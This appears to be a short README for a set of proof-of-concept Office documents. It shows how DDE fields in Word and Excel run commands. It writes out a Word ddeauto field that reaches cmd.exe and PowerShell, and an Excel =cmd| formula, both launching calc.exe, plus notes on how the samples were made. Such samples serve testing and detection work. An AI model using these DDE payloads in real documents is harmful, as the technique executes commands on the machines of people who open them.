Samples of Word and Excel documents using Dynamic Data Exchange (DDE) to launch calc.exe using the following DDE command.
Word using;
ddeauto "c:\\\\microsoft\\\\office\\\\word\\\\document\\\\..\\\\..\\\\..\\\\..\\\\windows\\\\system32\\\\cmd.exe" "/c powershell.exe start-process 'calc.exe'" \* mergeformat
Excel;
=cmd|'/c calc.exe'!A1
The samples were created with Word, Excel in Office 2016. Two of the samples were saved as doc and two were saved as docx. Two were created by pasting the command into the formula textbox, and two were created by toggling the 'field' and inserting the command.